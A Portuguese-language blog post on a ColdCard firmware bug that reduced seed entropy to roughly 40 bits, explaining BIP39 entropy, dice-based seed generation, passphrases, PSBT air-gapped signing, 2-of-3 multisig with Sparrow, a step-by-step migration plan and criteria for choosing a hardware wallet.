<p>O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.</p>
<p>IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.</p>
<h2>O que uma wallet realmente guarda<span class="hx:absolute hx:-mt-20" id="o-que-uma-wallet-realmente-guarda"></span>
    <a href="#o-que-uma-wallet-realmente-guarda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin não fica &ldquo;dentro&rdquo; da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.</p>
<p>Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva <code>secp256k1</code>. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.</p>
<p>Já expliquei essa base com mais calma em <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1</a> e <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2</a>.</p>
<p>Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.</p>
<p>O <a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.</p>
<h2>Doze ou 24 palavras é a pergunta errada<span class="hx:absolute hx:-mt-20" id="doze-ou-24-palavras-é-a-pergunta-errada"></span>
    <a href="#doze-ou-24-palavras-%c3%a9-a-pergunta-errada" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.</p>
<p>Mas &ldquo;24 palavras&rdquo; não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.</p>
<p>É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou <code>rand()</code> com um timestamp.</p>
<h2>RNG, TRNG e fontes independentes<span class="hx:absolute hx:-mt-20" id="rng-trng-e-fontes-independentes"></span>
    <a href="#rng-trng-e-fontes-independentes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.</p>
<p>TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explica seu processo</a> como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.</p>
<p>Outros projetos preferem combinar fontes. A <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor usa entropia do aparelho e do host</a>. A <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documenta cinco fontes</a>: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.</p>
<p>A palavra que interessa aqui é <strong>independência</strong>. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.</p>
<p>E &ldquo;combinadas corretamente&rdquo; carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.</p>
<h2>Jogar dados não é tão simples<span class="hx:absolute hx:-mt-20" id="jogar-dados-não-é-tão-simples"></span>
    <a href="#jogar-dados-n%c3%a3o-%c3%a9-t%c3%a3o-simples" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cada jogada de um D6 ideal entrega <code>log2(6)</code>, cerca de 2,585 bits. Por isso aparecem os números <strong>50 jogadas</strong> pra 128 bits e <strong>99 jogadas</strong> pra aproximadamente 256 bits. A <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência</a>. O <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.</p>
<p>Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente &ldquo;rola de novo&rdquo; quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.</p>
<p>Se eu fosse gerar uma seed manual hoje, usaria <strong>dados de precisão, do tipo usado em cassino</strong>, de mais de um fabricante ou lote. A própria <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox recomenda cinco dados casino-grade</a> no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque &ldquo;não misturou direito&rdquo;.</p>
<p>Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras &ldquo;mais aleatórias&rdquo; ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.</p>
<p>Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">as palavras precisam reconstruir exatamente as mesmas chaves</a>. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.</p>
<p>Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>O BTC D00M Guy tem <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">um tutorial visual em português sobre BIP39, dados e teste de restauração</a>. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.</p>
<blockquote>
  <p>As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">documentação do SeedSigner</a> recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.</p>
<p>Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.</p>

</blockquote>
<h2>Passphrase: outra wallet, não outra senha<span class="hx:absolute hx:-mt-20" id="passphrase-outra-wallet-não-outra-senha"></span>
    <a href="#passphrase-outra-wallet-n%c3%a3o-outra-senha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string <code>mnemonic</code> concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra &ldquo;senha incorreta&rdquo;; abre outra wallet, normalmente vazia.</p>
<p>Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.</p>
<p>Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.</p>
<p>Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.</p>
<blockquote>
  <p>No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.</p>

</blockquote>
<h2>Sparrow, air gap e PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gap-e-psbt"></span>
    <a href="#sparrow-air-gap-e-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.</p>
<p>É aí que entra o <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, padronizado no BIP174</a>. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.</p>
<p>O fluxo single-sig air-gapped fica assim:</p>
<ol>
<li>Sparrow monta a transação no computador online.</li>
<li>Você exporta o PSBT por QR ou microSD.</li>
<li>ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.</li>
<li>Você confere na tela do signer e assina.</li>
<li>Sparrow importa o PSBT assinado, finaliza e transmite.</li>
</ol>
<p>Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.</p>
<blockquote>
  <p>E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.</p>

</blockquote>
<h2>Multisig 2-de-3: mais seguro e muito mais burocrático<span class="hx:absolute hx:-mt-20" id="multisig-2-de-3-mais-seguro-e-muito-mais-burocrático"></span>
    <a href="#multisig-2-de-3-mais-seguro-e-muito-mais-burocr%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, <strong>2-de-3 multisig</strong> com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.</p>
<p>Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.</p>
<p>&ldquo;Independentes&rdquo; de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.</p>
<p>No Sparrow, o procedimento conceitual é:</p>
<ol>
<li>Crie e faça backup de cada seed separadamente.</li>
<li>Exporte de cada signer o fingerprint, derivation path e xpub.</li>
<li>Crie uma wallet <code>Multi Signature</code>, normalmente Native SegWit, com policy 2-de-3.</li>
<li>Importe os três keystores e faça backup do output descriptor da wallet.</li>
<li>Registre quais signers correspondem a quais fingerprints.</li>
<li>Confira um endereço de recebimento em mais de um signer.</li>
<li>Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.</li>
</ol>
<p>O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.</p>
<p>Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.</p>
<p>Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.</p>
<p>Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.</p>
<blockquote>
  <p>Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.</p>

</blockquote>
<p>O <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia de boas práticas do Sparrow</a> recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.</p>
<blockquote>
  <p>Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe &ldquo;trocar uma chave&rdquo; mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.</p>

</blockquote>
<h2>Fulcrum resolve privacidade, não chave fraca<span class="hx:absolute hx:-mt-20" id="fulcrum-resolve-privacidade-não-chave-fraca"></span>
    <a href="#fulcrum-resolve-privacidade-n%c3%a3o-chave-fraca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.</p>
<p>Mostrei a arquitetura e a instalação em <a href="/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/">Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum</a>. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.</p>
<p>Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.</p>
<h2>Como eu faria a migração hoje<span class="hx:absolute hx:-mt-20" id="como-eu-faria-a-migração-hoje"></span>
    <a href="#como-eu-faria-a-migra%c3%a7%c3%a3o-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:</p>
<ol>
<li><strong>Faça o inventário.</strong> Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.</li>
<li><strong>Considere a seed comprometida.</strong> Não a digite em software online e não aceite &ldquo;checker&rdquo; de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.</li>
<li><strong>Escolha a arquitetura nova.</strong> Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.</li>
<li><strong>Gere entropia nova.</strong> Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.</li>
<li><strong>Faça backup antes de receber.</strong> Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.</li>
<li><strong>Teste restauração.</strong> Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.</li>
<li><strong>Verifique o endereço na tela.</strong> Não confie só no que Sparrow mostra no monitor do computador.</li>
<li><strong>Mande um valor pequeno.</strong> Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.</li>
<li><strong>Mova o restante logo depois.</strong> Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.</li>
<li><strong>Mantenha o backup antigo marcado como comprometido.</strong> Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.</li>
</ol>
<blockquote>
  <p>Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.</p>

</blockquote>
<h2>Então qual hardware wallet eu recomendo?<span class="hx:absolute hx:-mt-20" id="então-qual-hardware-wallet-eu-recomendo"></span>
    <a href="#ent%c3%a3o-qual-hardware-wallet-eu-recomendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, nenhuma.</p>
<p>Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é <strong>muito difícil</strong>. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.</p>
<p>É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.</p>
<p>Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.</p>
<p>Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.</p>
<blockquote>
  <p><strong>NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante.</strong> Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.</p>

</blockquote>
<p>Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard usa uma embalagem serializada que evidencia abertura</a>: o número aparece na bolsa, numa aba interna e no próprio aparelho. A <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documenta os selos holográficos</a> de cada modelo. A <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combina embalagem selada com attestation criptográfica</a> feita pelo aplicativo.</p>
<p>Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.</p>
<p>E cuidado com a linguagem: isso tudo é <strong>tamper-evident</strong>, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.</p>
<p>Eu começaria por estas perguntas:</p>
<ol>
<li><strong>Qual é o threat model publicado?</strong> O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.</li>
<li><strong>De onde vem a entropia, exatamente?</strong> Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo <code>New Wallet</code> chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.</li>
<li><strong>O código é realmente livre e o binário corresponde a ele?</strong> “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">Build reproduzível</a> permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, não apenas a promessa do fabricante.</li>
<li><strong>Como a empresa trata quem encontra falhas?</strong> Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.</li>
<li><strong>O que a tela confiável permite verificar?</strong> Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.</li>
<li><strong>Existe uma rota de saída sem o fabricante?</strong> Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a> e <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.</li>
<li><strong>Como funcionam hardware, firmware e supply chain?</strong> Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.</li>
<li><strong>Você consegue restaurar sem improviso?</strong> Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.</li>
</ol>
<p>Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code> e <code>responsible disclosure</code>. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.</p>
<p>Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia do Sparrow</a>. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.</p>
<p>Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.</p>
<p>O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.</p>
<p>Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.</p>
<p>Este pode acabar sendo <strong>um dos piores episódios da história da autocustódia em Bitcoin</strong>. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.</p>
<blockquote>
  <p>Nos casos mais graves, o RNG reduziu o universo pra algo na casa de <code>2^40</code>. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.</p>

</blockquote>
<p>Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão <strong>New Wallet</strong> chamava o RNG correto.</p>
<p>Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.</p>
<blockquote>
  <p>A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.</p>

</blockquote>
